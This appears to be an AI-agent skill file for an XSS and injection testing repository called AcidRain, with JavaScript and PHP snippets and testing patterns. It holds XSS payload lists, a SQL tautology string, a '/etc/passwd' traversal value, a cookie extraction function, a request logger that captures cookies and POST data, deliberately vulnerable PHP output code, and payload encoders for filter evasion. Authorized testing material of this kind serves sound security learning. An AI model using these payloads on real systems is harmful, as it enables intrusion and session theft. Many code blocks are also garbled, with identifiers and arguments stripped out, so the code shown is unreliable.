| name | acidrain-security-testing |
| description | Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized security research and hands-on learning |
| triggers | ["test XSS vulnerabilities with AcidRain","use AcidRain security scripts","run injection testing with AcidRain","analyze XSS with AcidRain tools","set up AcidRain for security testing","create XSS test payloads with AcidRain","perform authorized web security testing","use AcidRain JavaScript utilities"] |
AcidRain Security Testing Skill
Skill by ara.so — Security Skills collection.
AcidRain is a 2026 web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, injection testing samples, and research snippets designed for authorized security testing and hands-on learning in controlled environments.
Installation
Clone the repository and navigate to the project directory:
git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git
cd acidrain-security-script-hub
Expected directory structure:
acidrain-security-script-hub/
├── scripts/
│ ├── javascript/ # Client-side security testing scripts
│ ├── php/ # Server-side PHP examples
│ └── xss/ # XSS-specific payloads and tests
├── configs/ # Configuration files
├── examples/ # Working examples and demonstrations
├── docs/ # Documentation
├── LICENSE
└── README.md
Project Structure and Components
JavaScript Utilities (Client-Side)
JavaScript utilities are located in scripts/javascript/. These are browser-based security testing scripts.
Basic XSS Test Script:
(function() {
const payload = '<script>alert("XSS")</script>';
const testUrl = new URL(window.location);
testUrl.searchParams.set('q', payload);
console.log('[AcidRain] Testing URL:', testUrl.toString());
console.log('[AcidRain] Payload:', payload);
const bodyText = document.body.innerHTML;
if (bodyText.includes(payload)) {
console.warn('[AcidRain] Potential XSS: Payload reflected in DOM');
}
})();
Cookie Extraction Utility:
function extractCookies() {
const cookies = document.cookie.split(';').map(c => c.trim());
const cookieData = {};
cookies.forEach(cookie => {
const [name, value] = cookie.split('=');
cookieData[name] = value;
});
console.log('[AcidRain] Cookies extracted:', cookieData);
return cookieData;
}
const cookies = extractCookies();
DOM-Based XSS Scanner:
const dangerousSinks = [
'innerHTML',
'outerHTML',
'document.write',
'eval',
'setTimeout',
'setInterval'
];
function scanDOMXSS() {
const sources = [
window.location.hash,
window.location.search,
document.referrer
];
console.log('[AcidRain] Checking DOM sources:', sources);
sources.forEach((source, idx) => {
if (source && source.length > 0) {
console.log(`[AcidRain] Source ${idx}:`, source);
dangerousSinks.forEach(sink => {
if (document.body.innerHTML.includes(sink)) {
console.warn(`[AcidRain] Potential sink found: ${sink}`);
}
});
}
});
}
();
PHP Server-Side Examples
PHP scripts are located in scripts/php/. Use these in authorized testing environments with PHP installed.
Basic Injection Test:
<?php
header('Content-Type: text/html; charset=utf-8');
function vulnerableQuery($userInput) {
$query = "SELECT * FROM users WHERE name = '" . $userInput . "'";
echo "<h3>AcidRain - Injection Test</h3>";
echo "<p><strong>Query:</strong> " . htmlspecialchars($query) . "</p>";
$patterns = [
"'" => "Single quote detected",
"--" => "SQL comment detected",
"OR 1=1" => "Tautology detected",
"UNION" => "UNION injection detected"
];
foreach ($patterns as $pattern => $message) {
if (stripos($userInput, $pattern) !== false) {
echo "<p style='color: red;'>[AcidRain] {$message}</p>";
}
}
}
(([])) {
([]);
} {
;
}
XSS Reflection Test:
<?php
function testXSSReflection($input) {
echo "<h3>AcidRain - XSS Reflection Test</h3>";
echo "<div class='vulnerable'>";
echo "<h4>Vulnerable Output:</h4>";
echo "<p>" . $input . "</p>";
echo "</div>";
echo "<div class='safe'>";
echo "<h4>Encoded Output:</h4>";
echo "<p>" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "</p>";
echo "</div>";
$xssPatterns = [
'<script' => 'Script tag detected',
'onerror=' => 'Event handler detected',
'javascript:' => 'JavaScript protocol detected',
'<img' => 'Image tag detected'
];
foreach ($xssPatterns as $pattern => $message) {
((, ) !== ) {
;
}
}
}
(([])) {
([]);
} {
;
}
File Upload Validator:
<?php
function analyzeFileUpload($file) {
$results = [];
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
$results['extension'] = $extension;
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
$results['mime_type'] = $mimeType;
$dangerous = ['php', 'phtml', 'php3', 'php4', 'php5', 'exe', 'sh'];
if (in_array($extension, $dangerous)) {
$results['warning'] = "Dangerous extension detected: {$extension}";
}
= [
=> ,
=> ,
=> ,
=>
];
(([]) && !== []) {
[] = ;
}
;
}
([] === && ([])) {
= ([]);
. (, ) . ;
}
XSS Payload Examples
Common XSS payloads for testing (use in scripts/xss/):
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<a href="javascript:alert('XSS')">Click</a>
<input autofocus onfocus=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<img src=x onerror="alert('XSS')">
Configuration
Create a configuration file for test environments:
const AcidRainConfig = {
target: {
url: process.env.ACIDRAIN_TARGET_URL || 'http://localhost:8080',
protocol: process.env.ACIDRAIN_PROTOCOL || 'http',
testMode: process.env.ACIDRAIN_TEST_MODE === 'true'
},
logging: {
enabled: true,
verbose: process.env.ACIDRAIN_VERBOSE === 'true',
outputFile: process.env.ACIDRAIN_LOG_FILE || './acidrain.log'
},
payloads: {
xssBasic: '<script>alert("XSS")</script>',
xssImg: '<img src=x onerror=alert("XSS")>',
sqlBasic: "' OR 1=1--",
customPayloads: process.env.ACIDRAIN_CUSTOM_PAYLOADS || []
},
safety: {
requireAuthorization: true,
maxRequestsPerMinute: 10,
timeoutMs: 5000
}
};
. = ;
PHP configuration:
<?php
define('ACIDRAIN_TARGET_URL', getenv('ACIDRAIN_TARGET_URL') ?: 'http://localhost:8080');
define('ACIDRAIN_TEST_MODE', getenv('ACIDRAIN_TEST_MODE') === 'true');
define('ACIDRAIN_LOG_FILE', getenv('ACIDRAIN_LOG_FILE') ?: './acidrain.log');
$acidRainConfig = [
'target' => [
'url' => ACIDRAIN_TARGET_URL,
'testMode' => ACIDRAIN_TEST_MODE
],
'payloads' => [
'xss_basic' => '<script>alert("XSS")</script>',
'sql_basic' => "' OR 1=1--",
'path_traversal' => '../../../etc/passwd'
],
'headers' => [
'User-Agent' => 'AcidRain/2026 (Security Testing)',
'X-AcidRain-Test' => 'true'
]
];
?>
Common Testing Patterns
Pattern 1: Automated XSS Parameter Testing
const payloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg/onload=alert("XSS")>',
'javascript:alert("XSS")',
'"><script>alert("XSS")</script>'
];
function testParameterXSS(baseUrl, paramName) {
const results = [];
payloads.forEach(payload => {
const url = new URL(baseUrl);
url.searchParams.set(paramName, payload);
results.push({
payload: payload,
testUrl: url.toString(),
timestamp: new Date().toISOString()
});
console.log(`[AcidRain] Testing: ${paramName} = ${payload}`);
});
return results;
}
const targetUrl = process.env.ACIDRAIN_TARGET_URL || 'http://localhost:8080/search';
const testResults = testParameterXSS(targetUrl, 'q');
console.log('[AcidRain] Test results:', testResults);
Pattern 2: PHP Request Logger
<?php
function logRequest() {
$logData = [
'timestamp' => date('Y-m-d H:i:s'),
'method' => $_SERVER['REQUEST_METHOD'],
'uri' => $_SERVER['REQUEST_URI'],
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
'get' => $_GET,
'post' => $_POST,
'cookies' => $_COOKIE,
'headers' => getallheaders()
];
$logFile = getenv('ACIDRAIN_LOG_FILE') ?: './requests.log';
$logEntry = json_encode($logData, JSON_PRETTY_PRINT) . "\n---\n";
file_put_contents($logFile, $logEntry, FILE_APPEND);
return $logData;
}
$requestData = logRequest();
. (, ) . ;
Pattern 3: Header Injection Test
function testHeaderInjection(headerValue) {
const injectionPatterns = [
'\r\n',
'\n',
'%0d%0a',
'%0a',
'Set-Cookie:',
'Location:'
];
const detected = [];
injectionPatterns.forEach(pattern => {
if (headerValue.includes(pattern)) {
detected.push({
pattern: pattern,
position: headerValue.indexOf(pattern),
severity: 'high'
});
console.warn(`[AcidRain] Header injection pattern detected: ${pattern}`);
}
});
return {
vulnerable: detected.length > 0,
patterns: detected,
input: headerValue
};
}
const userInput = "value\r\nSet-Cookie: session=hijacked";
const result = testHeaderInjection(userInput);
console.log('[AcidRain] Header injection test:', result);
Troubleshooting
Issue: Scripts Not Executing in Browser
Solution: Check browser console for Content Security Policy (CSP) violations:
fetch(window.location.href)
.then(response => {
const csp = response.headers.get('Content-Security-Policy');
console.log('[AcidRain] CSP:', csp);
});
Issue: PHP Scripts Returning Blank Page
Solution: Enable error reporting in your test environment:
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
?>
Issue: Payloads Being Filtered
Solution: Test with encoding variations:
function encodePayload(payload, type = 'html') {
const encoders = {
html: (str) => str.split('').map(c => `&#${c.charCodeAt(0)};`).join(''),
url: (str) => encodeURIComponent(str),
base64: (str) => btoa(str),
hex: (str) => str.split('').map(c => '\\x' + c.charCodeAt(0).toString(16)).join('')
};
return encoders[type] ? encoders[type](payload) : payload;
}
const original = '<script>alert("XSS")</script>';
console.log('[AcidRain] HTML encoded:', encodePayload(original, 'html'));
console.log(, (original, ));
.(, (original, ));
Issue: Rate Limiting or Blocking
Solution: Implement request throttling:
async function throttledTest(urls, delayMs = 1000) {
const results = [];
for (const url of urls) {
console.log(`[AcidRain] Testing: ${url}`);
results.push({ url, tested: true });
await new Promise(resolve => setTimeout(resolve, delayMs));
}
return results;
}
Best Practices
- Always obtain authorization before testing any system
- Use isolated environments for dangerous payload testing
- Log all testing activity with timestamps and targets
- Never test production systems without explicit permission
- Validate inputs even in testing tools to prevent self-XSS
- Keep payloads in configuration files referenced via environment variables
- Document all findings with reproducible steps
Environment Variables
export ACIDRAIN_TARGET_URL="http://localhost:8080"
export ACIDRAIN_TEST_MODE="true"
export ACIDRAIN_LOG_FILE="./acidrain-test.log"
export ACIDRAIN_VERBOSE="true"
export ACIDRAIN_PROTOCOL="http"